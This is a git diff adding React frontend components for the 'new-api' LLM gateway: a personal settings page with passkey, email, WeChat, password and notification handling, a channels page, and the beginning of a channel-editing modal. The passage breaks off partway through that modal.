+import AccountDeleteModal from './personal/modals/AccountDeleteModal';
+import ChangePasswordModal from './personal/modals/ChangePasswordModal';
+import SecureVerificationModal from '../common/modals/SecureVerificationModal';
+import { useSecureVerification } from '../../hooks/common/useSecureVerification';
+
+const PersonalSetting = () => {
+  const [userState, userDispatch] = useContext(UserContext);
+  let navigate = useNavigate();
+  const { t } = useTranslation();
+
+  const [inputs, setInputs] = useState({
+    wechat_verification_code: '',
+    email_verification_code: '',
+    email: '',
+    self_account_deletion_confirmation: '',
+    original_password: '',
+    set_new_password: '',
+    set_new_password_confirmation: '',
+  });
+  const [status, setStatus] = useState({});
+  const [showChangePasswordModal, setShowChangePasswordModal] = useState(false);
+  const [showWeChatBindModal, setShowWeChatBindModal] = useState(false);
+  const [showEmailBindModal, setShowEmailBindModal] = useState(false);
+  const [showAccountDeleteModal, setShowAccountDeleteModal] = useState(false);
+  const [turnstileEnabled, setTurnstileEnabled] = useState(false);
+  const [turnstileSiteKey, setTurnstileSiteKey] = useState('');
+  const [turnstileToken, setTurnstileToken] = useState('');
+  const [loading, setLoading] = useState(false);
+  const [disableButton, setDisableButton] = useState(false);
+  const [countdown, setCountdown] = useState(30);
+  const [systemToken, setSystemToken] = useState('');
+  const [passkeyStatus, setPasskeyStatus] = useState({ enabled: false });
+  const [passkeyRegisterLoading, setPasskeyRegisterLoading] = useState(false);
+  const [passkeyDeleteLoading, setPasskeyDeleteLoading] = useState(false);
+  const [passkeySupported, setPasskeySupported] = useState(false);
+  const [
+    passkeyRequiredVerificationMethod,
+    setPasskeyRequiredVerificationMethod,
+  ] = useState(null);
+  const [notificationSettings, setNotificationSettings] = useState({
+    warningType: 'email',
+    warningThreshold: 100000,
+    webhookUrl: '',
+    webhookSecret: '',
+    notificationEmail: '',
+    barkUrl: '',
+    gotifyUrl: '',
+    gotifyToken: '',
+    gotifyPriority: 5,
+    upstreamModelUpdateNotifyEnabled: false,
+    acceptUnsetModelRatioModel: false,
+    recordIpLog: false,
+  });
+
+  const {
+    isModalVisible: isPasskeyVerificationModalVisible,
+    verificationMethods: passkeyVerificationMethods,
+    verificationState: passkeyVerificationState,
+    startVerification: startPasskeyVerification,
+    executeVerification: executePasskeyVerification,
+    cancelVerification: cancelPasskeyVerification,
+    setVerificationCode: setPasskeyVerificationCode,
+    switchVerificationMethod: switchPasskeyVerificationMethod,
+    checkVerificationMethods: checkPasskeyVerificationMethods,
+  } = useSecureVerification({
+    onSuccess: () => {
+      setPasskeyRequiredVerificationMethod(null);
+    },
+  });
+
+  const visiblePasskeyVerificationMethods = passkeyRequiredVerificationMethod
+    ? {
+        ...passkeyVerificationMethods,
+        has2FA:
+          passkeyRequiredVerificationMethod === '2fa' &&
+          passkeyVerificationMethods.has2FA,
+        hasPasskey:
+          passkeyRequiredVerificationMethod === 'passkey' &&
+          passkeyVerificationMethods.hasPasskey,
+      }
+    : passkeyVerificationMethods;
+
+  useEffect(() => {
+    let saved = localStorage.getItem('status');
+    if (saved) {
+      const parsed = JSON.parse(saved);
+      setStatus(parsed);
+      if (parsed.turnstile_check) {
+        setTurnstileEnabled(true);
+        setTurnstileSiteKey(parsed.turnstile_site_key);
+      } else {
+        setTurnstileEnabled(false);
+        setTurnstileSiteKey('');
+      }
+    }
+    // Always refresh status from server to avoid stale flags (e.g., admin just enabled OAuth)
+    (async () => {
+      try {
+        const res = await API.get('/api/status');
+        const { success, data } = res.data;
+        if (success && data) {
+          setStatus(data);
+          setStatusData(data);
+          if (data.turnstile_check) {
+            setTurnstileEnabled(true);
+            setTurnstileSiteKey(data.turnstile_site_key);
+          } else {
+            setTurnstileEnabled(false);
+            setTurnstileSiteKey('');
+          }
+        }
+      } catch (e) {
+        // ignore and keep local status
+      }
+    })();
+
+    getUserData();
+
+    isPasskeySupported()
+      .then(setPasskeySupported)
+      .catch(() => setPasskeySupported(false));
+  }, []);
+
+  useEffect(() => {
+    let countdownInterval = null;
+    if (disableButton && countdown > 0) {
+      countdownInterval = setInterval(() => {
+        setCountdown(countdown - 1);
+      }, 1000);
+    } else if (countdown === 0) {
+      setDisableButton(false);
+      setCountdown(30);
+    }
+    return () => clearInterval(countdownInterval); // Clean up on unmount
+  }, [disableButton, countdown]);
+
+  useEffect(() => {
+    if (userState?.user?.setting) {
+      const settings = JSON.parse(userState.user.setting);
+      setNotificationSettings({
+        warningType: settings.notify_type || 'email',
+        warningThreshold: settings.quota_warning_threshold || 500000,
+        webhookUrl: settings.webhook_url || '',
+        webhookSecret: settings.webhook_secret || '',
+        notificationEmail: settings.notification_email || '',
+        barkUrl: settings.bark_url || '',
+        gotifyUrl: settings.gotify_url || '',
+        gotifyToken: settings.gotify_token || '',
+        gotifyPriority:
+          settings.gotify_priority !== undefined ? settings.gotify_priority : 5,
+        upstreamModelUpdateNotifyEnabled:
+          settings.upstream_model_update_notify_enabled === true,
+        acceptUnsetModelRatioModel:
+          settings.accept_unset_model_ratio_model || false,
+        recordIpLog: settings.record_ip_log || false,
+      });
+    }
+  }, [userState?.user?.setting]);
+
+  const handleInputChange = (name, value) => {
+    setInputs((inputs) => ({ ...inputs, [name]: value }));
+  };
+
+  const generateAccessToken = async () => {
+    const res = await API.get('/api/user/token');
+    const { success, message, data } = res.data;
+    if (success) {
+      setSystemToken(data);
+      await copy(data);
+      showSuccess(t('令牌已重置并已复制到剪贴板'));
+    } else {
+      showError(message);
+    }
+  };
+
+  const loadPasskeyStatus = async () => {
+    try {
+      const res = await API.get('/api/user/passkey');
+      const { success, data, message } = res.data;
+      if (success) {
+        setPasskeyStatus({
+          enabled: data?.enabled || false,
+          last_used_at: data?.last_used_at || null,
+          backup_eligible: data?.backup_eligible || false,
+          backup_state: data?.backup_state || false,
+        });
+      } else {
+        showError(message);
+      }
+    } catch (error) {
+      // 忽略错误，保留默认状态
+    }
+  };
+
+  const startPasskeyManagementVerification = async (apiCall, options = {}) => {
+    const methods = await checkPasskeyVerificationMethods();
+    const requiredMethod = methods.has2FA
+      ? '2fa'
+      : methods.hasPasskey
+        ? 'passkey'
+        : null;
+
+    if (!requiredMethod) {
+      showError(t('您需要先启用两步验证或 Passkey 才能执行此操作'));
+      return;
+    }
+
+    if (requiredMethod === 'passkey' && !methods.passkeySupported) {
+      showInfo(t('当前设备不支持 Passkey'));
+      return;
+    }
+
+    setPasskeyRequiredVerificationMethod(requiredMethod);
+    await startPasskeyVerification(apiCall, {
+      preferredMethod: requiredMethod,
+      title: t('安全验证'),
+      ...options,
+    });
+  };
+
+  const startPasskeyRegistration = async () => {
+    const methods = await checkPasskeyVerificationMethods();
+    if (!methods.has2FA) {
+      try {
+        await registerPasskey();
+      } catch (error) {
+        showError(error.message || t('Passkey 注册失败，请重试'));
+      }
+      return;
+    }
+
+    setPasskeyRequiredVerificationMethod('2fa');
+    await startPasskeyVerification(registerPasskey, {
+      preferredMethod: '2fa',
+      title: t('安全验证'),
+    });
+  };
+
+  const registerPasskey = async () => {
+    setPasskeyRegisterLoading(true);
+    try {
+      const beginRes = await API.post('/api/user/passkey/register/begin');
+      const { success, message, data } = beginRes.data;
+      if (!success) {
+        throw new Error(message || t('无法发起 Passkey 注册'));
+      }
+
+      const publicKey = prepareCredentialCreationOptions(
+        data?.options || data?.publicKey || data,
+      );
+      const credential = await navigator.credentials.create({ publicKey });
+      const payload = buildRegistrationResult(credential);
+      if (!payload) {
+        throw new Error(t('Passkey 注册失败，请重试'));
+      }
+
+      const finishRes = await API.post(
+        '/api/user/passkey/register/finish',
+        payload,
+      );
+      if (!finishRes.data.success) {
+        throw new Error(
+          finishRes.data.message || t('Passkey 注册失败，请重试'),
+        );
+      }
+
+      showSuccess(t('Passkey 注册成功'));
+      await loadPasskeyStatus();
+      return finishRes.data;
+    } catch (error) {
+      if (error?.name === 'AbortError') {
+        showInfo(t('已取消 Passkey 注册'));
+        return { cancelled: true };
+      }
+      throw new Error(error?.message || t('Passkey 注册失败，请重试'));
+    } finally {
+      setPasskeyRegisterLoading(false);
+    }
+  };
+
+  const handleRegisterPasskey = async () => {
+    if (!passkeySupported || !window.PublicKeyCredential) {
+      showInfo(t('当前设备不支持 Passkey'));
+      return;
+    }
+    await startPasskeyRegistration();
+  };
+
+  const removePasskey = async () => {
+    setPasskeyDeleteLoading(true);
+    try {
+      const res = await API.delete('/api/user/passkey');
+      const { success, message } = res.data;
+      if (!success) {
+        throw new Error(message || t('操作失败，请重试'));
+      }
+
+      showSuccess(t('Passkey 已解绑'));
+      await loadPasskeyStatus();
+      return res.data;
+    } catch (error) {
+      throw new Error(error?.message || t('操作失败，请重试'));
+    } finally {
+      setPasskeyDeleteLoading(false);
+    }
+  };
+
+  const handleRemovePasskey = async () => {
+    await startPasskeyManagementVerification(removePasskey);
+  };
+
+  const handlePasskeyVerificationCancel = () => {
+    setPasskeyRequiredVerificationMethod(null);
+    cancelPasskeyVerification();
+  };
+
+  const getUserData = async () => {
+    let res = await API.get(`/api/user/self`);
+    const { success, message, data } = res.data;
+    if (success) {
+      userDispatch({ type: 'login', payload: data });
+      setUserData(data);
+      await loadPasskeyStatus();
+    } else {
+      showError(message);
+    }
+  };
+
+  const handleSystemTokenClick = async (e) => {
+    e.target.select();
+    await copy(e.target.value);
+    showSuccess(t('系统令牌已复制到剪切板'));
+  };
+
+  const deleteAccount = async () => {
+    if (inputs.self_account_deletion_confirmation !== userState.user.username) {
+      showError(t('请输入你的账户名以确认删除！'));
+      return;
+    }
+
+    const res = await API.delete('/api/user/self');
+    const { success, message } = res.data;
+
+    if (success) {
+      showSuccess(t('账户已删除！'));
+      await API.get('/api/user/logout');
+      userDispatch({ type: 'logout' });
+      localStorage.removeItem('user');
+      navigate('/login');
+    } else {
+      showError(message);
+    }
+  };
+
+  const bindWeChat = async () => {
+    if (inputs.wechat_verification_code === '') return;
+    const res = await API.post('/api/oauth/wechat/bind', {
+      code: inputs.wechat_verification_code,
+    });
+    const { success, message } = res.data;
+    if (success) {
+      showSuccess(t('微信账户绑定成功！'));
+      setShowWeChatBindModal(false);
+    } else {
+      showError(message);
+    }
+  };
+
+  const changePassword = async () => {
+    // if (inputs.original_password === '') {
+    //   showError(t('请输入原密码！'));
+    //   return;
+    // }
+    if (inputs.set_new_password === '') {
+      showError(t('请输入新密码！'));
+      return;
+    }
+    if (inputs.original_password === inputs.set_new_password) {
+      showError(t('新密码需要和原密码不一致！'));
+      return;
+    }
+    if (inputs.set_new_password !== inputs.set_new_password_confirmation) {
+      showError(t('两次输入的密码不一致！'));
+      return;
+    }
+    const res = await API.put(`/api/user/self`, {
+      original_password: inputs.original_password,
+      password: inputs.set_new_password,
+    });
+    const { success, message } = res.data;
+    if (success) {
+      showSuccess(t('密码修改成功！'));
+      setShowWeChatBindModal(false);
+    } else {
+      showError(message);
+    }
+    setShowChangePasswordModal(false);
+  };
+
+  const sendVerificationCode = async () => {
+    if (inputs.email === '') {
+      showError(t('请输入邮箱！'));
+      return;
+    }
+    setDisableButton(true);
+    if (turnstileEnabled && turnstileToken === '') {
+      showInfo(t('请稍后几秒重试，Turnstile 正在检查用户环境！'));
+      return;
+    }
+    setLoading(true);
+    const res = await API.get(
+      `/api/verification?email=${inputs.email}&turnstile=${turnstileToken}`,
+    );
+    const { success, message } = res.data;
+    if (success) {
+      showSuccess(t('验证码发送成功，请检查邮箱！'));
+    } else {
+      showError(message);
+    }
+    setLoading(false);
+  };
+
+  const bindEmail = async () => {
+    if (inputs.email_verification_code === '') {
+      showError(t('请输入邮箱验证码！'));
+      return;
+    }
+    setLoading(true);
+    const res = await API.post('/api/oauth/email/bind', {
+      email: inputs.email,
+      code: inputs.email_verification_code,
+    });
+    const { success, message } = res.data;
+    if (success) {
+      showSuccess(t('邮箱账户绑定成功！'));
+      setShowEmailBindModal(false);
+      userState.user.email = inputs.email;
+    } else {
+      showError(message);
+    }
+    setLoading(false);
+  };
+
+  const copyText = async (text) => {
+    if (await copy(text)) {
+      showSuccess(t('已复制：') + text);
+    } else {
+      // setSearchKeyword(text);
+      Modal.error({ title: t('无法复制到剪贴板，请手动复制'), content: text });
+    }
+  };
+
+  const handleNotificationSettingChange = (type, value) => {
+    setNotificationSettings((prev) => ({
+      ...prev,
+      [type]: value.target
+        ? value.target.value !== undefined
+          ? value.target.value
+          : value.target.checked
+        : value, // handle checkbox properly
+    }));
+  };
+
+  const saveNotificationSettings = async () => {
+    try {
+      const res = await API.put('/api/user/setting', {
+        notify_type: notificationSettings.warningType,
+        quota_warning_threshold: parseFloat(
+          notificationSettings.warningThreshold,
+        ),
+        webhook_url: notificationSettings.webhookUrl,
+        webhook_secret: notificationSettings.webhookSecret,
+        notification_email: notificationSettings.notificationEmail,
+        bark_url: notificationSettings.barkUrl,
+        gotify_url: notificationSettings.gotifyUrl,
+        gotify_token: notificationSettings.gotifyToken,
+        gotify_priority: (() => {
+          const parsed = parseInt(notificationSettings.gotifyPriority);
+          return isNaN(parsed) ? 5 : parsed;
+        })(),
+        upstream_model_update_notify_enabled:
+          notificationSettings.upstreamModelUpdateNotifyEnabled === true,
+        accept_unset_model_ratio_model:
+          notificationSettings.acceptUnsetModelRatioModel,
+        record_ip_log: notificationSettings.recordIpLog,
+      });
+
+      if (res.data.success) {
+        showSuccess(t('设置保存成功'));
+        await getUserData();
+      } else {
+        showError(res.data.message);
+      }
+    } catch (error) {
+      showError(t('设置保存失败'));
+    }
+  };
+
+  return (
+    <div className='mt-[60px]'>
+      <div className='flex justify-center'>
+        <div className='w-full max-w-7xl mx-auto px-2'>
+          {/* 顶部用户信息区域 */}
+          <UserInfoHeader t={t} userState={userState} />
+
+          {/* 签到日历 - 仅在启用时显示 */}
+          {status?.checkin_enabled && (
+            <div className='mt-4 md:mt-6'>
+              <CheckinCalendar
+                t={t}
+                status={status}
+                turnstileEnabled={turnstileEnabled}
+                turnstileSiteKey={turnstileSiteKey}
+              />
+            </div>
+          )}
+
+          {/* 账户管理和其他设置 */}
+          <div className='grid grid-cols-1 xl:grid-cols-2 items-start gap-4 md:gap-6 mt-4 md:mt-6'>
+            {/* 左侧：账户管理设置 */}
+            <div className='flex flex-col gap-4 md:gap-6'>
+              <AccountManagement
+                t={t}
+                userState={userState}
+                status={status}
+                systemToken={systemToken}
+                setShowEmailBindModal={setShowEmailBindModal}
+                setShowWeChatBindModal={setShowWeChatBindModal}
+                generateAccessToken={generateAccessToken}
+                handleSystemTokenClick={handleSystemTokenClick}
+                setShowChangePasswordModal={setShowChangePasswordModal}
+                setShowAccountDeleteModal={setShowAccountDeleteModal}
+                passkeyStatus={passkeyStatus}
+                passkeySupported={passkeySupported}
+                passkeyRegisterLoading={passkeyRegisterLoading}
+                passkeyDeleteLoading={passkeyDeleteLoading}
+                onPasskeyRegister={handleRegisterPasskey}
+                onPasskeyDelete={handleRemovePasskey}
+              />
+
+              {/* 偏好设置（语言等） */}
+              <PreferencesSettings t={t} />
+            </div>
+
+            {/* 右侧：其他设置 */}
+            <NotificationSettings
+              t={t}
+              notificationSettings={notificationSettings}
+              handleNotificationSettingChange={handleNotificationSettingChange}
+              saveNotificationSettings={saveNotificationSettings}
+            />
+          </div>
+        </div>
+      </div>
+
+      {/* 模态框组件 */}
+      <EmailBindModal
+        t={t}
+        showEmailBindModal={showEmailBindModal}
+        setShowEmailBindModal={setShowEmailBindModal}
+        inputs={inputs}
+        handleInputChange={handleInputChange}
+        sendVerificationCode={sendVerificationCode}
+        bindEmail={bindEmail}
+        disableButton={disableButton}
+        loading={loading}
+        countdown={countdown}
+        turnstileEnabled={turnstileEnabled}
+        turnstileSiteKey={turnstileSiteKey}
+        setTurnstileToken={setTurnstileToken}
+      />
+
+      <WeChatBindModal
+        t={t}
+        showWeChatBindModal={showWeChatBindModal}
+        setShowWeChatBindModal={setShowWeChatBindModal}
+        inputs={inputs}
+        handleInputChange={handleInputChange}
+        bindWeChat={bindWeChat}
+        status={status}
+      />
+
+      <AccountDeleteModal
+        t={t}
+        showAccountDeleteModal={showAccountDeleteModal}
+        setShowAccountDeleteModal={setShowAccountDeleteModal}
+        inputs={inputs}
+        handleInputChange={handleInputChange}
+        deleteAccount={deleteAccount}
+        userState={userState}
+        turnstileEnabled={turnstileEnabled}
+        turnstileSiteKey={turnstileSiteKey}
+        setTurnstileToken={setTurnstileToken}
+      />
+
+      <ChangePasswordModal
+        t={t}
+        showChangePasswordModal={showChangePasswordModal}
+        setShowChangePasswordModal={setShowChangePasswordModal}
+        inputs={inputs}
+        handleInputChange={handleInputChange}
+        changePassword={changePassword}
+        turnstileEnabled={turnstileEnabled}
+        turnstileSiteKey={turnstileSiteKey}
+        setTurnstileToken={setTurnstileToken}
+      />
+
+      <SecureVerificationModal
+        visible={isPasskeyVerificationModalVisible}
+        verificationMethods={visiblePasskeyVerificationMethods}
+        verificationState={passkeyVerificationState}
+        onVerify={executePasskeyVerification}
+        onCancel={handlePasskeyVerificationCancel}
+        onCodeChange={setPasskeyVerificationCode}
+        onMethodSwitch={switchPasskeyVerificationMethod}
+        title={passkeyVerificationState.title}
+        description={passkeyVerificationState.description}
+      />
+    </div>
+  );
+};
+
+export default PersonalSetting;
diff --git a/_all-in-one-upload/new-api/web/classic/src/components/setup/index.jsx b/_all-in-one-upload/new-api/web/classic/src/components/setup/index.jsx
new file mode 100644
index 0000000..7ce1247
--- /dev/null
+++ b/_all-in-one-upload/new-api/web/classic/src/components/setup/index.jsx
@@ -0,0 +1,29 @@
+/*
+Copyright (C) 2025 QuantumNous
+
+This program is free software: you can redistribute it and/or modify
+it under the terms of the GNU Affero General Public License as
+published by the Free Software Foundation, either version 3 of the
+License, or (at your option) any later version.
+
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+GNU Affero General Public License for more details.
+
+You should have received a copy of the GNU Affero General Public License
+along with this program. If not, see <https://www.gnu.org/licenses/>.
+
+For commercial licensing, please contact support@quantumnous.com
+*/
+
+// 主要组件导出
+export { default as SetupWizard } from './SetupWizard';
+
+export { default as StepNavigation } from './components/StepNavigation';
+
+// 步骤组件导出
+export { default as DatabaseStep } from './components/steps/DatabaseStep';
+export { default as AdminStep } from './components/steps/AdminStep';
+export { default as UsageModeStep } from './components/steps/UsageModeStep';
+export { default as CompleteStep } from './components/steps/CompleteStep';
diff --git a/_all-in-one-upload/new-api/web/classic/src/components/table/channels/index.jsx b/_all-in-one-upload/new-api/web/classic/src/components/table/channels/index.jsx
new file mode 100644
index 0000000..4a22233
--- /dev/null
+++ b/_all-in-one-upload/new-api/web/classic/src/components/table/channels/index.jsx
@@ -0,0 +1,116 @@
+/*
+Copyright (C) 2025 QuantumNous
+
+This program is free software: you can redistribute it and/or modify
+it under the terms of the GNU Affero General Public License as
+published by the Free Software Foundation, either version 3 of the
+License, or (at your option) any later version.
+
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+GNU Affero General Public License for more details.
+
+You should have received a copy of the GNU Affero General Public License
+along with this program. If not, see <https://www.gnu.org/licenses/>.
+
+For commercial licensing, please contact support@quantumnous.com
+*/
+
+import React from 'react';
+import { Banner } from '@douyinfe/semi-ui';
+import { IconAlertTriangle } from '@douyinfe/semi-icons';
+import CardPro from '../../common/ui/CardPro';
+import ChannelsTable from './ChannelsTable';
+import ChannelsActions from './ChannelsActions';
+import ChannelsFilters from './ChannelsFilters';
+import ChannelsTabs from './ChannelsTabs';
+import { useChannelsData } from '../../../hooks/channels/useChannelsData';
+import { useIsMobile } from '../../../hooks/common/useIsMobile';
+import BatchTagModal from './modals/BatchTagModal';
+import ModelTestModal from './modals/ModelTestModal';
+import ColumnSelectorModal from './modals/ColumnSelectorModal';
+import EditChannelModal from './modals/EditChannelModal';
+import EditTagModal from './modals/EditTagModal';
+import MultiKeyManageModal from './modals/MultiKeyManageModal';
+import ChannelUpstreamUpdateModal from './modals/ChannelUpstreamUpdateModal';
+import { createCardProPagination } from '../../../helpers/utils';
+
+const ChannelsPage = () => {
+  const channelsData = useChannelsData();
+  const isMobile = useIsMobile();
+
+  return (
+    <>
+      {/* Modals */}
+      <ColumnSelectorModal {...channelsData} />
+      <EditTagModal
+        visible={channelsData.showEditTag}
+        tag={channelsData.editingTag}
+        handleClose={() => channelsData.setShowEditTag(false)}
+        refresh={channelsData.refresh}
+      />
+      <EditChannelModal
+        refresh={channelsData.refresh}
+        visible={channelsData.showEdit}
+        handleClose={channelsData.closeEdit}
+        editingChannel={channelsData.editingChannel}
+      />
+      <BatchTagModal {...channelsData} />
+      <ModelTestModal {...channelsData} />
+      <MultiKeyManageModal
+        visible={channelsData.showMultiKeyManageModal}
+        onCancel={() => channelsData.setShowMultiKeyManageModal(false)}
+        channel={channelsData.currentMultiKeyChannel}
+        onRefresh={channelsData.refresh}
+      />
+      <ChannelUpstreamUpdateModal
+        visible={channelsData.showUpstreamUpdateModal}
+        addModels={channelsData.upstreamUpdateAddModels}
+        removeModels={channelsData.upstreamUpdateRemoveModels}
+        preferredTab={channelsData.upstreamUpdatePreferredTab}
+        confirmLoading={channelsData.upstreamApplyLoading}
+        onConfirm={channelsData.applyUpstreamUpdates}
+        onCancel={channelsData.closeUpstreamUpdateModal}
+      />
+
+      {/* Main Content */}
+      {channelsData.globalPassThroughEnabled ? (
+        <Banner
+          type='warning'
+          closeIcon={null}
+          icon={
+            <IconAlertTriangle
+              size='large'
+              style={{ color: 'var(--semi-color-warning)' }}
+            />
+          }
+          description={channelsData.t(
+            '已开启全局请求透传：参数覆写、模型重定向、渠道适配等 NewAPI 内置功能将失效，非最佳实践；如因此产生问题，请勿提交 issue 反馈。',
+          )}
+          style={{ marginBottom: 12 }}
+        />
+      ) : null}
+      <CardPro
+        type='type3'
+        tabsArea={<ChannelsTabs {...channelsData} />}
+        actionsArea={<ChannelsActions {...channelsData} />}
+        searchArea={<ChannelsFilters {...channelsData} />}
+        paginationArea={createCardProPagination({
+          currentPage: channelsData.activePage,
+          pageSize: channelsData.pageSize,
+          total: channelsData.channelCount,
+          onPageChange: channelsData.handlePageChange,
+          onPageSizeChange: channelsData.handlePageSizeChange,
+          isMobile: isMobile,
+          t: channelsData.t,
+        })}
+        t={channelsData.t}
+      >
+        <ChannelsTable {...channelsData} />
+      </CardPro>
+    </>
+  );
+};
+
+export default ChannelsPage;
diff --git a/_all-in-one-upload/new-api/web/classic/src/components/table/channels/modals/EditChannelModal.jsx b/_all-in-one-upload/new-api/web/classic/src/components/table/channels/modals/EditChannelModal.jsx
new file mode 100644
index 0000000..fad105b
--- /dev/null
+++ b/_all-in-one-upload/new-api/web/classic/src/components/table/channels/modals/EditChannelModal.jsx
@@ -0,0 +1,3951 @@
+/*
+Copyright (C) 2025 QuantumNous
+
+This program is free software: you can redistribute it and/or modify
+it under the terms of the GNU Affero General Public License as
+published by the Free Software Foundation, either version 3 of the
+License, or (at your option) any later version.
+
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+GNU Affero General Public License for more details.
+
+You should have received a copy of the GNU Affero General Public License
+along with this program. If not, see <https://www.gnu.org/licenses/>.
+
+For commercial licensing, please contact support@quantumnous.com
+*/
+
+import React, { useEffect, useState, useRef, useMemo } from 'react';
+import { useTranslation } from 'react-i18next';
+import {
+  API,
+  showError,
+  showInfo,
+  showSuccess,
+  verifyJSON,
+} from '../../../../helpers';
+import { useIsMobile } from '../../../../hooks/common/useIsMobile';
+import { CHANNEL_OPTIONS, MODEL_FETCHABLE_CHANNEL_TYPES } from '../../../../constants';
+import {
+  SideSheet,
+  Space,
+  Spin,
+  Button,
+  Typography,
+  Checkbox,
+  Banner,
+  Modal,
+  ImagePreview,
+  Card,
+  Tag,
+  Avatar,
+  Form,
+  Row,
+  Col,
+  Highlight,
+  Input,
+  Tooltip,
+  Collapse,
+  Dropdown,
+} from '@douyinfe/semi-ui';
+import {
+  getChannelModels,
+  copy,
+  getChannelIcon,
+  getModelCategories,
+  selectFilter,
+} from '../../../../helpers';
+import ModelSelectModal from './ModelSelectModal';
+import SingleModelSelectModal from './SingleModelSelectModal';
+import OllamaModelModal from './OllamaModelModal';
+import CodexOAuthModal from './CodexOAuthModal';
+import ParamOverrideEditorModal from './ParamOverrideEditorModal';
+import JSONEditor from '../../../common/ui/JSONEditor';
+import SecureVerificationModal from '../../../common/modals/SecureVerificationModal';
+import StatusCodeRiskGuardModal from './StatusCodeRiskGuardModal';
+import ChannelKeyDisplay from '../../../common/ui/ChannelKeyDisplay';
+import { useSecureVerification } from '../../../../hooks/common/useSecureVerification';
+import { parseChannelConnectionString } from '../../../../helpers/token';
+import { createApiCalls } from '../../../../services/secureVerification';
+import {
+  collectInvalidStatusCodeEntries,
+  collectNewDisallowedStatusCodeRedirects,
+} from './statusCodeRiskGuard';
+import {
+  IconSave,
+  IconClose,
+  IconServer,
+  IconSetting,
+  IconCode,
+  IconCopy,
+  IconGlobe,
+  IconBolt,
+  IconSearch,
+  IconChevronDown,
+} from '@douyinfe/semi-icons';
+
+const { Text, Title } = Typography;
+
+const MODEL_MAPPING_EXAMPLE = {
+  'gpt-3.5-turbo': 'gpt-3.5-turbo-0125',
+};
+
+const STATUS_CODE_MAPPING_EXAMPLE = {
+  400: '500',
+};
+
+const REGION_EXAMPLE = {
+  default: 'global',
+  'gemini-1.5-pro-002': 'europe-west2',
+  'gemini-1.5-flash-002': 'europe-west2',
+  'claude-3-5-sonnet-20240620': 'europe-west1',
+};
+const UPSTREAM_DETECTED_MODEL_PREVIEW_LIMIT = 8;
+const ADVANCED_SETTINGS_EXPANDED_KEY = 'channel-advanced-settings-expanded';
+
+const PARAM_OVERRIDE_LEGACY_TEMPLATE = {
+  temperature: 0,
+};
+
+const PARAM_OVERRIDE_OPERATIONS_TEMPLATE = {
+  operations: [
+    {
+      path: 'temperature',
+      mode: 'set',
+      value: 0.7,
+      conditions: [
+        {
+          path: 'model',
+          mode: 'prefix',
+          value: 'openai/',
+        },
+      ],
+      logic: 'AND',
+    },
+  ],
+};
+
+const DEPRECATED_DOUBAO_CODING_PLAN_BASE_URL = 'doubao-coding-plan';
+
+// 支持并且已适配通过接口获取模型列表的渠道类型
+const MODEL_FETCHABLE_TYPES = new Set([
+  1, 4, 14, 34, 17, 26, 27, 24, 47, 25, 20, 23, 31, 40, 42, 48, 43,
+]);
+
+function type2secretPrompt(type) {
+  // inputs.type === 15 ? '按照如下格式输入：APIKey|SecretKey' : (inputs.type === 18 ? '按照如下格式输入：APPID|APISecret|APIKey' : '请输入渠道对应的鉴权密钥')
+  switch (type) {
+    case 15:
+      return '按照如下格式输入：APIKey|SecretKey';
+    case 18:
+      return '按照如下格式输入：APPID|APISecret|APIKey';
+    case 22:
+      return '按照如下格式输入：APIKey-AppId，例如：fastgpt-0sp2gtvfdgyi4k30jwlgwf1i-64f335d84283f05518e9e041';
+    case 23:
+      return '按照如下格式输入：AppId|SecretId|SecretKey';
+    case 33:
+      return '按照如下格式输入：Ak|Sk|Region';
+    case 45:
+      return '请输入渠道对应的鉴权密钥, 豆包语音输入：AppId|AccessToken';
+    case 50:
+      return '按照如下格式输入: AccessKey|SecretKey, 如果上游是New API，则直接输ApiKey';
+    case 51:
+      return '按照如下格式输入: AccessKey|SecretAccessKey';
+    case 57:
+      return '请输入 JSON 格式的 OAuth 凭据（必须包含 access_token 和 account_id）';
+    default:
+      return '请输入渠道对应的鉴权密钥';
+  }
+}
+
+const EditChannelModal = (props) => {
+  const { t } = useTranslation();
+  const channelId = props.editingChannel.id;
+  const isEdit = channelId !== undefined;
+  const [loading, setLoading] = useState(isEdit);
+  const isMobile = useIsMobile();
+  const handleCancel = () => {
+    props.handleClose();
+  };
+  const originInputs = {
+    name: '',
+    type: 1,
+    key: '',
+    openai_organization: '',
+    max_input_tokens: 0,
+    base_url: '',
+    other: '',
+    model_mapping: '',
+    param_override: '',
+    status_code_mapping: '',
+    models: [],
+    auto_ban: 1,
+    test_model: '',
+    groups: ['default'],
+    priority: 0,
+    weight: 0,
+    tag: '',
+    multi_key_mode: 'random',
+    // 渠道额外设置的默认值
+    force_format: false,
+    thinking_to_content: false,
+    proxy: '',
+    pass_through_body_enabled: false,
+    system_prompt: '',
+    system_prompt_override: false,
+    settings: '',
+    // 仅 Vertex: 密钥格式（存入 settings.vertex_key_type）
+    vertex_key_type: 'json',
+    // 仅 AWS: 密钥格式和区域（存入 settings.aws_key_type 和 settings.aws_region）
+    aws_key_type: 'ak_sk',
+    // 企业账户设置
+    is_enterprise_account: false,
+    // 字段透传控制默认值
+    allow_service_tier: false,
+    disable_store: false, // false = 允许透传（默认开启）
+    allow_safety_identifier: false,
+    allow_include_obfuscation: false,
+    allow_inference_geo: false,
+    allow_speed: false,
+    claude_beta_query: false,
+    upstream_model_update_check_enabled: false,
+    upstream_model_update_auto_sync_enabled: false,
+    upstream_model_update_last_check_time: 0,
+    upstream_model_update_last_detected_models: [],
+    upstream_model_update_ignored_models: '',
+  };
+  const [batch, setBatch] = useState(false);
+  const [multiToSingle, setMultiToSingle] = useState(false);
+  const [multiKeyMode, setMultiKeyMode] = useState('random');
+  const [autoBan, setAutoBan] = useState(true);
+  const [inputs, setInputs] = useState(originInputs);
+  const [originModelOptions, setOriginModelOptions] = useState([]);
+  const [modelOptions, setModelOptions] = useState([]);
+  const [groupOptions, setGroupOptions] = useState([]);
+  const [basicModels, setBasicModels] = useState([]);
+  const [fullModels, setFullModels] = useState([]);
+  const [modelGroups, setModelGroups] = useState([]);
+  const [customModel, setCustomModel] = useState('');
+  const [modelSearchValue, setModelSearchValue] = useState('');
